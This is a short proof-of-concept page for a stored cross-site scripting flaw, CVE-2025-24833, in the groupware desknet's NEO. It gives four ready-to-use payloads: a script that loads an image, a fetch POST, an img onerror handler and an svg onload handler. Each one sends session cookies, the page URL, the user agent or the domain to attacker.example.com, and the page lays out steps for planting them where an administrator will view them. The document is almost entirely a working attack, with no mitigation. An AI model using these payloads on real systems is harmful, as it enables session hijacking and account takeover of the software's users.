CVE-2025-24833 desknet's NEO存储型跨站脚本漏洞

<!-- PoC for CVE-2025-24833 - Stored XSS in desknet's NEO Affected versions: V4.0R1.0 - V9.0R2.0 Vulnerability type: Stored Cross-Site Scripting (XSS) --> <!-- Step 1: Attacker logs in with low-privilege credentials --> <!-- Step 2: Inject malicious payload into a stored input field (e.g., bulletin board post) --> <!-- Payload 1: Basic cookie stealing --> <script> var img = new Image(); img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> <!-- Payload 2: Session hijacking via fetch --> <script> fetch('https://attacker.example.com/log', { method: 'POST', body: JSON.stringify({ cookie: document.cookie, url: location.href, ua: navigator.userAgent }) }); </script> <!-- Payload 3: Event handler based XSS (in case <script> tags are filtered) --> <img src=x onerror="fetch('https://attacker.example.com/steal?c='+document.cookie)"> <!-- Payload 4: SVG-based XSS --> <svg onload="javascript:fetch('https://attacker.example.com/x?d='+document.domain)"> <!-- Step 3: Victim (e.g., administrator) views the page containing the stored payload Step 4: Malicious JavaScript executes in victim's browser context Step 5: Attacker captures session cookies or performs actions as the victim -->